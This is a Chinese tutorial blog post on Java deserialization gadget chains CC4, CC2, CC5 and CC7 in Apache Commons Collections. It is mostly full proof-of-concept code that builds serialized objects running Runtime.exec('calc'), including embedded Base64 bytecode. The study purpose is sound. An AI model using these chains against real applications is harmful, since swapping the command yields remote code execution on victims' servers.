前言
前面我们都是学的利用链使用commons.collections都是3版本的,我们今天来看一下4版本有哪些利用方式。下面我们会把cc4,cc2,cc5,cc7都进行探讨。
声明:文章中涉及的内容可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。
CC4的出现
这时候升级了commons-collections的版本到4,maven的配置如下
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
我们来看一下commons-collections4的ChainedTransformer.transform
查看调用关系;找到了TransformingComparator的compare有调用transform
在一个Java内置类PriorityQueue中的readObject调用了heapify
在heapify中调用了siftDown
在siftDown的构造函数中调用了compare;然后就一直走到上述的compare
还注意到了TransformingComparator在cc3中没有继承接口;但是在cc4中却继承了,很有利于我们进行利用。
这时候的利用链为:
我们来尝试构造一下
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
完整的poc
package com.garck3h.ccChain4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
public class CC4 {
public static void main(String[] args) throws Exception {
byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAJAcAFgoAAQAXCgAHABcKABgAGQgAGgoAGAAbBwAcAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAHQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAHgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAOQnl0ZUNsYXNzLmphdmEBACFjb20vZ2FyY2szaC9jbGFzc2xvYWRlci9CeXRlQ2xhc3MMABIAEwcAHwwAIAAhAQAEY2FsYwwAIgAjAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEAAQAHAAAAAAAEAAkACAAJAAIACgAAACUAAgACAAAACbsAAVm3AAJMsQAAAAEACwAAAAoAAgAAAA0ACAAOAAwAAAAEAAEADQABAA4ADwACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEgAMAAAABAABABAAAQAOABEAAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABcADAAAAAQAAQAQAAEAEgATAAIACgAAAC4AAgABAAAADiq3AAO4AAQSBbYABlexAAAAAQALAAAADgADAAAAGAAEABkADQAaAAwAAAAEAAEADQABABQAAAACABU");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{codes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception{
ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
运行发现没弹计算器,也没报错
我们跟进去看看,发现在heapify中进行for遍历的时候,没有进入到siftDown。通过遍历数组中的元素,从最后一个非叶子节点开始,逐个向上处理每个节点。>>>是size的值右移一位,相当于将其除以 2 取整。
要怎么样才可以满足,进入到siftDown呢?当size=1的时候不成立。
当我们的size为2的时候就为1,然后再减1,即可满足i>=0的条件
解决方式一
我们可以通过反射来修改其值为2
setFieldValue(priorityQueue, "size", 2);
最终的代码为
package com.garck3h.ccChain4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
/**
* Created by IntelliJ IDEA.
*
* @Author: Garck3h
* @Date: 2023/8/15
* @Time: 15:11
* Life is endless, and there is no end to it.
**/
public class CC4 {
public static void main(String[] args) throws Exception {
byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAJAcAFgoAAQAXCgAHABcKABgAGQgAGgoAGAAbBwAcAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAHQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAHgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAOQnl0ZUNsYXNzLmphdmEBACFjb20vZ2FyY2szaC9jbGFzc2xvYWRlci9CeXRlQ2xhc3MMABIAEwcAHwwAIAAhAQAEY2FsYwwAIgAjAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEAAQAHAAAAAAAEAAkACAAJAAIACgAAACUAAgACAAAACbsAAVm3AAJMsQAAAAEACwAAAAoAAgAAAA0ACAAOAAwAAAAEAAEADQABAA4ADwACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEgAMAAAABAABABAAAQAOABEAAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABcADAAAAAQAAQAQAAEAEgATAAIACgAAAC4AAgABAAAADiq3AAO4AAQSBbYABlexAAAAAQALAAAADgADAAAAGAAEABkADQAaAAwAAAAEAAEADQABABQAAAACABU");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{codes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
setFieldValue(priorityQueue, "size", 2);
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception{
ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
解决方式二
另一种方法则是直接add两个数进去
priorityQueue.add(1);
priorityQueue.add(2);
但是我们在序列化的时候就执行,为了避免这样,我们还是老样子,先传入一个无效的chainedTransformer,然后再通过反射修改为有效的chainedTransformer
TransformingComparator transformingComparator = new TransformingComparator<>(new ChainedTransformer<>());
setFieldValue(transformingComparator,"transformer",chainedTransformer);
完整的poc为
package com.garck3h.ccChain4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
/**
* Created by IntelliJ IDEA.
*
* @Author: Garck3h
* @Date: 2023/8/15
* @Time: 15:11
* Life is endless, and there is no end to it.
**/
public class CC4 {
public static void main(String[] args) throws Exception {
byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAJAcAFgoAAQAXCgAHABcKABgAGQgAGgoAGAAbBwAcAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAHQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAHgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAOQnl0ZUNsYXNzLmphdmEBACFjb20vZ2FyY2szaC9jbGFzc2xvYWRlci9CeXRlQ2xhc3MMABIAEwcAHwwAIAAhAQAEY2FsYwwAIgAjAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEAAQAHAAAAAAAEAAkACAAJAAIACgAAACUAAgACAAAACbsAAVm3AAJMsQAAAAEACwAAAAoAAgAAAA0ACAAOAAwAAAAEAAEADQABAA4ADwACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEgAMAAAABAABABAAAQAOABEAAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABcADAAAAAQAAQAQAAEAEgATAAIACgAAAC4AAgABAAAADiq3AAO4AAQSBbYABlexAAAAAQALAAAADgADAAAAGAAEABkADQAaAAwAAAAEAAEADQABABQAAAACABU");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{codes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(new ChainedTransformer<>());
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
setFieldValue(transformingComparator,"transformer",chainedTransformer);
serialize(priorityQueue);
unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception{
ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
CC2
cc2中不通过实例化 TrAXFilter 进行类加载,而是用回InvokerTransformer
方式一
先传入一个无效的ConstantTransformer,然后再反射修改为有效的newTransformer
方式二
直接传入有效的newTransformer,templates通过add传入
package com.garck3h.ccChain4;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.PriorityQueue;
/**
* Created by IntelliJ IDEA.
*
* @Author: Garck3h
* @Date: 2023/8/15
* @Time: 20:38
* Life is endless, and there is no end to it.
**/
public class CC2 {
public static void main(String[] args) throws Exception {
byte[] codes = Base64.getDecoder().decode("yv66vgAAADQAJAcAFgoAAQAXCgAHABcKABgAGQgAGgoAGAAbBwAcAQAEbWFpbgEAFihbTGphdmEvbGFuZy9TdHJpbmc7KVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAKRXhjZXB0aW9ucwcAHQEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgcAHgEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAY8aW5pdD4BAAMoKVYBAApTb3VyY2VGaWxlAQAOQnl0ZUNsYXNzLmphdmEBACFjb20vZ2FyY2szaC9jbGFzc2xvYWRlci9CeXRlQ2xhc3MMABIAEwcAHwwAIAAhAQAEY2FsYwwAIgAjAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAE2phdmEvaW8vSU9FeGNlcHRpb24BADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7ACEAAQAHAAAAAAAEAAkACAAJAAIACgAAACUAAgACAAAACbsAAVm3AAJMsQAAAAEACwAAAAoAAgAAAA0ACAAOAAwAAAAEAAEADQABAA4ADwACAAoAAAAZAAAAAwAAAAGxAAAAAQALAAAABgABAAAAEgAMAAAABAABABAAAQAOABEAAgAKAAAAGQAAAAQAAAABsQAAAAEACwAAAAYAAQAAABcADAAAAAQAAQAQAAEAEgATAAIACgAAAC4AAgABAAAADiq3AAO4AAQSBbYABlexAAAAAQALAAAADgADAAAAGAAEABkADQAaAAwAAAAEAAEADQABABQAAAACABU");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_class", null);
setFieldValue(templates, "_name", "xxx");
setFieldValue(templates, "_bytecodes", new byte[][]{codes});
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
InvokerTransformer newTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(newTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
priorityQueue.add(templates);
setFieldValue(priorityQueue, "size", 2);
unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception{
ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
CC2利用链(红色连线)
CC5
cc5和cc6也差不多,只是修改了入口类,然后还是调用的LazyMap的get
利用链如下:
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
在BadAttributeValueExpException的readObject中,会根据传入的valObj,调用其toString方法
我们可以通过反射直接修改其valObj为tiedMapEntry,那不就妥妥的和cc6一样了吗,当然valObj是从val赋值得来的。所以
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
完整的poc为
package com.garck3h.ccChain4;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Map;
/**
* Created by IntelliJ IDEA.
*
* @Author: Garck3h
* @Date: 2023/8/15
* @Time: 21:06
* Life is endless, and there is no end to it.
**/
public class CC5 {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashedMap hashedMap = new HashedMap();
Map<Object, Object> decorate = LazyMap.decorate(hashedMap, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(decorate,"123");
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
setFieldValue(badAttributeValueExpException,"val",tiedMapEntry);
serialize(badAttributeValueExpException);
unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception{
ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
CC7
利用链为
Payload method chain:
java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec
看到利用链,我们直接去看Hashtable的readObject;发现调用了reconstitutionPut
我们跟进去看看,发现这里调用了调用了 equls 方法。
直接查看调用,发现太多了。
我们查看上诉利用链知道这是AbstractMapDecorator 类的 equals 方法。其功能大致是用于判断当前对象是否与给定的对象相等。如果两个对象不是同一个对象,调用map.equals(object)方法。
它可以return一个equals,那么我们再根据利用链来到 AbstractMap 类,查看其 equals 方法。在469行中,调用了get方法,若把这里的m构造为LazyMap 对象,就可以接着使用我们之前的利用链了。
下面我们来构造一下,看看需要什么条件,首先看回Hashtable的readObject。在1173中对elements进行赋值为2
那就意味着下面会进行两次遍历,调用了两次reconstitutionPut
这段代码用于遍历哈希表中某个桶(bucket)的链表,并检查是否存在重复键值的代码段。第一次执行的时候会获取key的hash值与tab里面的hash进行对比,我们可以看到此时的tab.length为0,也就是说是空的,所以跳过了for循环,直接就来到了1227行,然后就是把这个key的hash放入到tab中。
第二次执行reconstitutionPut的时候,执行1221行的if判断时,需要与上一次计算的hash相等,才执行后面的e.key.equals。
那么我们可以构造两个相同的hash结果一样的键传入,就是我们讲的hash碰撞的问题。如
hashCode('Aa') == hashCode('BB')
hashCode('CC') == hashCode('Bb')
hashCode('DD') == hashCode('Cc')
hashCode('BBBB') == hashCode('BBAa')
我们这里直接使用hashCode('Aa') == hashCode('BB')
Map Map1 = new HashMap();
Map Map2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(Map1,chainedTransformer);
lazyMap1.put("Aa", 1);
Map lazyMap2 = LazyMap.decorate(Map2, chainedTransformer);
lazyMap2.put("BB", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
最终完整的POC为
package com.garck3h.ccChain4;
/**
* Created by IntelliJ IDEA.
*
* @Author: Garck3h
* @Date: 2023/8/15
* @Time: 21:56
* Life is endless, and there is no end to it.
**/
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.AbstractMapEntryDecorator;
import org.apache.commons.collections.map.AbstractMapDecorator;
import org.apache.commons.collections.map.HashedMap;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.AbstractMap;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class CC7 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(null);
Map Map1 = new HashMap();
Map Map2 = new HashMap();
Map lazyMap1 = LazyMap.decorate(Map1,chainedTransformer);
lazyMap1.put("Aa", 1);
Map lazyMap2 = LazyMap.decorate(Map2, chainedTransformer);
lazyMap2.put("BB", 1);
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
setFieldValue(chainedTransformer,"iTransformers",transformers);
lazyMap2.remove("Aa");
serialize(hashtable);
unserialize();
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream outputStream = new ObjectOutputStream( new FileOutputStream("ser.bin"));
outputStream.writeObject(obj);
outputStream.close();
}
public static void unserialize() throws Exception{
ObjectInputStream inputStream = new ObjectInputStream( new FileInputStream("ser.bin"));
Object obj = inputStream.readObject();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
cc1-7的流程图
总结
主要讲了commons.collections4变化之后新的利用方式。很多都只是换了不同的入口,而后面的大部分都和前面学的链一致。其中最有意思的就是CC2了,它这里可以不使用Transformer数组来构造利用链。其它的利用链多半就是修改了头和其它的部分进行部分即可产生一种新的利用方式。
参考:
1.https://www.bilibili.com/video/BV1NQ4y1q7EU?t=1806.1
2.http://blog.m1kael.cn/index.php/archives/605/
原文始发于微信公众号(pentest):Java安全之cc4,cc2,cc5,cc7
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论